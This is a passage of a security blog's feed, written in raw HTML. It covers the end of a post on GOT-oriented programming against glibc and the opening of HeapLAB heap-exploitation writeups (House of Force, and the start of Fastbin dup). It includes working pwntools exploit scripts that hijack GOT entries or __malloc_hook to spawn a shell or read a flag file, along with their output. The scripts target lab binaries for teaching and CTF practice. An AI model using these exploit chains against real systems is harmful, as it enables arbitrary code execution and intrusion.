</span></span><span style="display:flex;"><span>        __printf_buffer_to_file_done
</span></span><span style="display:flex;"><span>          __printf_buffer_flush_to_file
</span></span><span style="display:flex;"><span>            __GI__IO_file_xsputn
</span></span><span style="display:flex;"><span>              __GI__IO_file_overflow
</span></span><span style="display:flex;"><span>                __GI__IO_do_write
</span></span><span style="display:flex;"><span>            __GI__IO_file_xsputn
</span></span><span style="display:flex;"><span>              new_do_write
</span></span><span style="display:flex;"><span>                _IO_file_write@@GLIBC_2.2.5
</span></span><span style="display:flex;"><span>                  write
</span></span><span style="display:flex;"><span>                    __syscall_cancel
</span></span><span style="display:flex;"><span>                      __internal_syscall_cancel
</span></span><span style="display:flex;"><span>                    __syscall_cancel
</span></span><span style="display:flex;"><span>                  write
</span></span><span style="display:flex;"><span>                _IO_file_write@@GLIBC_2.2.5
</span></span><span style="display:flex;"><span>              new_do_write
</span></span><span style="display:flex;"><span>            __GI__IO_file_xsputn
</span></span><span style="display:flex;"><span>          __printf_buffer_flush_to_file
</span></span><span style="display:flex;"><span>            __printf_buffer_to_file_switch
</span></span><span style="display:flex;"><span>        __printf_buffer_to_file_done
</span></span><span style="display:flex;"><span>          __printf_buffer_done
</span></span><span style="display:flex;"><span>      __vfprintf_internal
</span></span><span style="display:flex;"><span>    __printf_chk
</span></span><span style="display:flex;"><span>main
</span></span><span style="display:flex;"><span>  read@plt
</span></span><span style="display:flex;"><span>    read
</span></span><span style="display:flex;"><span>      __syscall_cancel
</span></span><span style="display:flex;"><span>        __internal_syscall_cancel
</span></span><span style="display:flex;"><span>      __syscall_cancel
</span></span><span style="display:flex;"><span>    read
</span></span><span style="display:flex;"><span>main
</span></span><span style="display:flex;"><span>  strcmp@plt
</span></span><span style="display:flex;"><span>    __strcmp_avx2_rtm
</span></span><span style="display:flex;"><span>main</span></span></code></pre></td></tr></table>
</div>
</div>

<p>Aha! <kbd>printf</kbd> ends up calling <a href="/blog/got-oriented-programming/#org-coderef--2ebd36-9">strchrnul</a> and <a href="/blog/got-oriented-programming/#org-coderef--2ebd36-13">memcpy</a> through their <code>.got.plt</code> entries, which we can hijack!<sup id="fnref:4"><a href="#fn:4" class="footnote-ref" role="doc-noteref">4</a></sup>
Note that the functions <code>read@plt</code> and <code>strcmp@plt</code> are entries in <em>our program</em>&rsquo;s GOT, not libc&rsquo;s.</p>
<p>Now, given the completely arbitrary write and libc leak there are a myriad of ways to achieve code execution, but let&rsquo;s try some GOP.
To up the ante, I will only consider gadgets that start at the beginning of functions so our exploit will work <strong>even if IBT is enabled</strong>.<sup id="fnref:5"><a href="#fn:5" class="footnote-ref" role="doc-noteref">5</a></sup></p>
<p>We have very limited stack control and absolutely no register control when either of <kbd>strchrnul</kbd> or <kbd>memcpy</kbd> are called, so we need a gadget that can read the contents of writable libc memory into a register.
After some searching I came across this guy:</p>





  
  
    

  
  
    









<details open>
  
  <summary>ASM</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span>__error_at_line_internal:
</span></span><span style="display:flex;"><span>    <span style="color:#a8a8a8">// ...
</span></span></span><span style="display:flex;"><span><span style="color:#a8a8a8"></span>    <span style="color:#feacd0">mov</span>     rax, qword [rel error_one_per_line]
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">mov</span>     dword [rbp-0x44 {var_4c}], edi
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">mov</span>     eax, dword [rax]
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">test</span>    eax, eax
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">je</span>      label1
</span></span><span style="display:flex;"><span>label1:
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">cmp</span>     dword [rel old_line_number.0], ecx
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">je</span>      label2
</span></span><span style="display:flex;"><span>label2:
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">mov</span>     rdi, qword [rel old_file_name.1]
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">cmp</span>     rdi, rdx
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">je</span>      bad
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">test</span>    rdx, rdx
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">je</span>      bad
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">test</span>    rdi, rdi
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">je</span>      bad
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">mov</span>     rsi, rdx
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">call</span>    j___GI_strcmp
</span></span><span style="display:flex;"><span>bad:
</span></span><span style="display:flex;"><span>    // ...</span></span></code></pre></div>
</details>

<p>There&rsquo;s a lot of unrelated stuff going on, but the general idea is that <code>rdi</code> is set to the value of a variable in libc&rsquo;s <code>.bss</code> section (<kbd>old_file_name</kbd>) before jumping to a <code>.got.plt</code> function (<kbd>strcmp</kbd>).
The conditions we need to meet for this codepath are</p>
<ol>
<li><span class="inline-src language-c" data-lang="c"><code>error_one_per_line != 0</code></span></li>
<li><span class="inline-src language-c" data-lang="c"><code>old_line_number == ecx</code></span> (here <code>ecx</code> is 2)</li>
<li><span class="inline-src language-c" data-lang="c"><code>old_file_name != rdx &amp;&amp; old_file_name != 0 &amp;&amp; rdx != 0</code></span> (the first two conditions are trivial because we want to control <kbd>old_file_name</kbd> anyway, and <code>rdx</code> happens to be nonzero)</li>
</ol>
<p>Let&rsquo;s try it:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;pwnable&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath<span style="color:#00d3d0">.</span>split(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#39;:&#39;</span>)[<span style="color:#00bcff">1</span>] <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">write</span>(data, location):
</span></span><span style="display:flex;"><span>    p<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;write: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    p<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;where: &#34;</span>, p64(location))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>p <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>p<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(p<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>write(p8(<span style="color:#00bcff">1</span>), libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>error_one_per_line)
</span></span><span style="display:flex;"><span>write(p8(<span style="color:#00bcff">2</span>), libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>old_line_number[<span style="color:#79a8ff">&#39;0&#39;</span>])
</span></span><span style="display:flex;"><span>write(p64(<span style="color:#f78fe7">next</span>(libc<span style="color:#00d3d0">.</span>search(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>))), libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>old_file_name[<span style="color:#79a8ff">&#39;1&#39;</span>])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>write(p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>system), libc<span style="color:#00d3d0">.</span>got[<span style="color:#79a8ff">&#34;__GI_strcmp&#34;</span>])
</span></span><span style="display:flex;"><span>write(p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__error_at_line_internal), libc<span style="color:#00d3d0">.</span>got[<span style="color:#79a8ff">&#34;__GI___strchrnul&#34;</span>])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>p<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(p<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<p>But that&rsquo;s a very short chain&hellip; what if we needed to cat the flag without a shell?
Here&rsquo;s a (likely overcomplicated) GOP chain used to print the contents of <code>&quot;/tmp/flag.txt&quot;</code> and then cleanly exit the program:</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;pwnable&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath<span style="color:#00d3d0">.</span>split(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#39;:&#39;</span>)[<span style="color:#00bcff">1</span>] <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">write</span>(data, location):
</span></span><span style="display:flex;"><span>    p<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;write: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    p<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;where: &#34;</span>, p64(location))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>p <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>p<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(p<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>write(p8(<span style="color:#00bcff">1</span>), libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>error_one_per_line)
</span></span><span style="display:flex;"><span>write(p8(<span style="color:#00bcff">2</span>), libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>old_line_number[<span style="color:#79a8ff">&#39;0&#39;</span>])
</span></span><span style="display:flex;"><span>write(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/tmp/flag.txt</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>[:<span style="color:#00bcff">8</span>], libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>tmpnam_buffer)
</span></span><span style="display:flex;"><span>write(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/tmp/flag.txt</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>[<span style="color:#00bcff">8</span>:], libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>tmpnam_buffer<span style="color:#00d3d0">+</span><span style="color:#00bcff">8</span>)
</span></span><span style="display:flex;"><span>write(p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>tmpnam_buffer), libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>old_file_name[<span style="color:#79a8ff">&#39;1&#39;</span>])
</span></span><span style="display:flex;"><span>write(p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__libc_procutils_read_file), libc<span style="color:#00d3d0">.</span>got[<span style="color:#79a8ff">&#34;__GI_strcmp&#34;</span>])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>write(p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>explicit_bzero), libc<span style="color:#00d3d0">.</span>got[<span style="color:#79a8ff">&#34;__GI_memchr&#34;</span>])
</span></span><span style="display:flex;"><span>write(p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts), libc<span style="color:#00d3d0">.</span>got[<span style="color:#79a8ff">&#34;__GI_memset&#34;</span>])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>write(p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>_exit), libc<span style="color:#00d3d0">.</span>got[<span style="color:#79a8ff">&#34;__GI___strnlen&#34;</span>])
</span></span><span style="display:flex;"><span>write(p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__error_at_line_internal), libc<span style="color:#00d3d0">.</span>got[<span style="color:#79a8ff">&#34;__GI_strpbrk&#34;</span>])
</span></span><span style="display:flex;"><span>write(p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__nss_valid_field), libc<span style="color:#00d3d0">.</span>got[<span style="color:#79a8ff">&#34;__GI_strchr&#34;</span>])
</span></span><span style="display:flex;"><span>write(p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>putenv), libc<span style="color:#00d3d0">.</span>got[<span style="color:#79a8ff">&#34;__GI___strchrnul&#34;</span>])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>p<span style="color:#00d3d0">.</span>recvline()
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(p<span style="color:#00d3d0">.</span>recvline())</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;flag{big-goppa}\n&#39;</span></span></code></pre></div>

<p>Clearly this is a very versatile technique!</p>
<p>As I said, you&rsquo;re unlikely to find a modern version of glibc compiled with partial RELRO in the wild, but hopefully this can serve as a tool for more contrived situations like CTFs.
I also wanted to mention related works by <a href="https://github.com/n132/Libc-GOT-Hijacking">n132</a> and <a href="https://hackmd.io/@pepsipu/SyqPbk94a">pepsipu</a>; although these are not quite the same thing as GOP, they are still interesting (and perhaps more practical) examples of pivoting an arbitrary write into code execution.</p>
<div class="footnotes" role="doc-endnotes">
<hr>
<ol>
<li id="fn:1">
<p>After publishing this I came across a <a href="https://heinen.dev/posts/time-jump-planner/">writeup</a> by Thea &ldquo;Teddy&rdquo; Heinen written over two years ago that uses the same terminology. Credit where credit is due!&#160;<a href="#fnref:1" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:2">
<p>Although it&rsquo;s a little unclear when full RELRO was introduced, security-conscious distros like <a href="https://gitlab.archlinux.org/archlinux/packaging/packages/glibc/-/commit/1a36d40bdedfc845a0be8e1a53e40e47ea8174ed#9b9baac1eb9b72790eef5540a1685306fc43fd6c_0_75">Arch</a> and <a href="https://src.fedoraproject.org/rpms/glibc/blob/main/f/ChangeLog.old#_13489">Fedora</a> have been building glibc with it since the early 2000s.&#160;<a href="#fnref:2" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:3">
<p>Although I&rsquo;m focusing on glibc in this post, GOP can also be used to attack libraries like libstdc++.&#160;<a href="#fnref:3" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:4">
<p>Using <kbd>puts</kbd> instead of <kbd>printf</kbd> would also work because it calls <kbd>j___GI_strlen</kbd>.&#160;<a href="#fnref:4" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:5">
<p>This is a <em>much</em> more restrictive subset of all possible GOP gadgets and limiting your options like this isn&rsquo;t really necessary in practice, but I wanted to demonstrate that <a href="https://en.wikipedia.org/wiki/Control-flow_integrity">CET</a> cannot defend against this attack.&#160;<a href="#fnref:5" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>]]></content>
    
  </entry>
  
  <entry>
    <title type="html"><![CDATA[HeapLAB]]></title>
    <link href="https://feyor.sh/writeups/heaplab/"/>
    <id>https://feyor.sh/writeups/heaplab/</id>
    
    <author>
      <name>George Huebner</name>
    </author>
    
    <published>2025-12-24T00:00:00+00:00</published>
    <updated>2026-01-20T23:03:50-06:00</updated>
    
    
    <content type="html" xml:base="https://feyor.sh/writeups/heaplab/"><![CDATA[<div class="ox-hugo-toc toc">
<div class="heading">Table of Contents</div>
<ul>
<li><a href="/writeups/heaplab/#house-of-force">House of Force</a></li>
<li><a href="/writeups/heaplab/#fastbin-dup">Fastbin dup</a></li>
<li><a href="/writeups/heaplab/#unsafe-unlink">Unsafe unlink</a></li>
<li><a href="/writeups/heaplab/#safe-unlink">Safe unlink</a></li>
<li><a href="/writeups/heaplab/#house-of-orange">House of Orange</a></li>
<li><a href="/writeups/heaplab/#house-of-spirit">House of Spirit</a></li>
<li><a href="/writeups/heaplab/#house-of-lore">House of Lore</a></li>
<li><a href="/writeups/heaplab/#house-of-einherjar">House of Einherjar</a></li>
<li><a href="/writeups/heaplab/#house-of-rabbit">House of Rabbit</a></li>
<li><a href="/writeups/heaplab/#tcache-dup">Tcache dup</a></li>
<li><a href="/writeups/heaplab/#tcache-dumping">Tcache dumping</a></li>
</ul>
</div>
<!--endtoc-->
<p>Below are some of my notes and challenge writeups for Max Kamper&rsquo;s excellent Glibc malloc pwn course, <a href="https://www.udemy.com/course/linux-heap-exploitation-part-1/">HeapLAB</a>.</p>
<p><em>This page will be updated with more challenges in the future.</em></p>
<h2 id="house-of-force">House of Force</h2>
<p>This technique comes from Phantasmal Phantasmagoria&rsquo;s <a href="http://seclists.org/bugtraq/2005/Oct/0118.html%20">Malloc Maleficarum</a>, one of the most seminal early works in pwning Glibc malloc (and the reason so many heap exploits are called &ldquo;House of XYZ&rdquo;).</p>
<p>In Glibc, malloc requests for memory are serviced from the top chunk (aka the wilderness).
Because heap metadata is stored in-line (the size of a chunk occupies the first 8 bytes of every chunk, just before the address returned from <kbd>malloc</kbd>), if we have a heap overflow we can clobber this metadata and create a huge top chunk; so huge in fact that it wraps around the virtual address space to an address before the start of the top chunk.
Then we can request a massive chunk from malloc that stops just short of our target address such that the first 8 bytes of the (new) top chunk reside at the target address.
Use the same heap overflow as before and we&rsquo;ve overwritten the target value!</p>
<h3 id="solve">Solve</h3>
<p>The vulnerability in this binary is that <kbd>read</kbd> uses the size of the <em>chunk</em> (returned by <kbd>malloc_usable_size</kbd>), not the size of the user&rsquo;s data, resulting in an 8 byte overflow if we request <code>CHUNK_SIZE-8</code> bytes from malloc (this is the maximum size of <em>user</em> data that can fit in a chunk of size <code>CHUNK_SIZE</code>).</p>





  
  
    

  
  
    









<details open>
  
  <summary>Python</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#b6a0ff">from</span> pwn <span style="color:#b6a0ff">import</span> <span style="color:#00d3d0">*</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>context<span style="color:#00d3d0">.</span>log_level <span style="color:#00d3d0">=</span> <span style="color:#79a8ff">&#39;warning&#39;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>elf <span style="color:#00d3d0">=</span> context<span style="color:#00d3d0">.</span>binary <span style="color:#00d3d0">=</span> ELF(<span style="color:#79a8ff">&#34;house_of_force&#34;</span>)
</span></span><span style="display:flex;"><span>libc <span style="color:#00d3d0">=</span> ELF(elf<span style="color:#00d3d0">.</span>runpath <span style="color:#00d3d0">+</span> <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/libc.so.6&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">def</span> <span style="color:#feacd0">malloc</span>(size, data):
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>send(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;1&#34;</span>)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;size: &#34;</span>, <span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;</span><span style="color:#79a8ff">{</span>size<span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span><span style="color:#00d3d0">.</span>encode())
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>sendafter(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;data: &#34;</span>, data)
</span></span><span style="display:flex;"><span>    proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc <span style="color:#00d3d0">=</span> remote(<span style="color:#79a8ff">&#34;localhost&#34;</span>, <span style="color:#00bcff">1337</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;puts() @ &#34;</span>)
</span></span><span style="display:flex;"><span>libc<span style="color:#00d3d0">.</span>address <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>) <span style="color:#00d3d0">-</span> libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>puts
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;heap @ &#34;</span>)
</span></span><span style="display:flex;"><span>heap <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">int</span>(proc<span style="color:#00d3d0">.</span>recvline(), <span style="color:#00bcff">16</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>recvuntil(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&gt; &#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>info(<span style="color:#79a8ff">f</span><span style="color:#79a8ff">&#34;heap: 0x</span><span style="color:#79a8ff">{</span>heap<span style="color:#79a8ff">:</span><span style="color:#79a8ff">02x</span><span style="color:#79a8ff">}</span><span style="color:#79a8ff">&#34;</span>)
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>timeout <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0.5</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;A&#34;</span><span style="color:#00d3d0">*</span>(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>) <span style="color:#00d3d0">+</span> p64(<span style="color:#00bcff">0xffffffffffffffff</span>))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># we&#39;re calculating the distance between the end of the previous chunk and the address exactly one chunk away (0x20 bytes) from __malloc_hook, so that the next chunk we allocate will overwrite __malloc_hook</span>
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># also we have a heap leak so put /bin/sh on the heap</span>
</span></span><span style="display:flex;"><span>malloc((libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>__malloc_hook<span style="color:#00d3d0">-</span><span style="color:#00bcff">0x20</span>) <span style="color:#00d3d0">-</span> (heap<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x20</span>), <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;/bin/sh</span><span style="color:#79a8ff">\x00</span><span style="color:#79a8ff">&#34;</span>)
</span></span><span style="display:flex;"><span>malloc(<span style="color:#00bcff">0x20</span><span style="color:#00d3d0">-</span><span style="color:#00bcff">8</span>, p64(libc<span style="color:#00d3d0">.</span>sym<span style="color:#00d3d0">.</span>system))
</span></span><span style="display:flex;"><span><span style="color:#a8a8a8"># the size of the chunk gets passed to __malloc_hook, so we will allocate &amp;&#34;/bin/sh\x00&#34; bytes</span>
</span></span><span style="display:flex;"><span>malloc(heap<span style="color:#00d3d0">+</span><span style="color:#00bcff">0x20</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">0x8</span><span style="color:#00d3d0">+</span><span style="color:#00bcff">0x8</span>, <span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>proc<span style="color:#00d3d0">.</span>sendline(<span style="color:#79a8ff">b</span><span style="color:#79a8ff">&#34;id&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#f78fe7">print</span>(proc<span style="color:#00d3d0">.</span>recvall(timeout<span style="color:#00d3d0">=</span><span style="color:#00bcff">0.1</span>))</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>b&#39;uid=1000(pwny) gid=100(users) groups=100(users),1(wheel)\n&#39;</span></span></code></pre></div>

<h2 id="fastbin-dup">Fastbin dup</h2>
<p>This time the vuln is a nice and simple double free: <kbd>free</kbd> doesn&rsquo;t check if an index was previously freed, so we can free a previously <kbd>malloc</kbd>​ed chunk as many times as we want.</p>
<p>Before we move on let&rsquo;s talk about in-band (stored on the heap) vs out-of-band (stored somewhere besides the heap) heap metadata.
We saw previously that the size of a chunk is stored in the chunk itself, but how does <kbd>malloc</kbd> know where e.g. the top chunk is in order to service a request?
A heap arena is a data structure that does all of the necessary bookkeeping for the heap, or more accurately <em>a</em> heap.
When a program has multiple threads, it would be inefficient to have to contend for a lock for every allocation/free, so each thread (up to a limit) gets their own slice of the heap (the section of program memory) governed by their own heap arena.</p>





  
  
    

  
  
    









<details open>
  
  <summary>C</summary>
  
  </summary>
  <div class="highlight"><div style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f" id="org-coderef--cce405-1655"><a style="outline:none;text-decoration:none;color:inherit" href="#org-coderef--cce405-1655">1655</a>
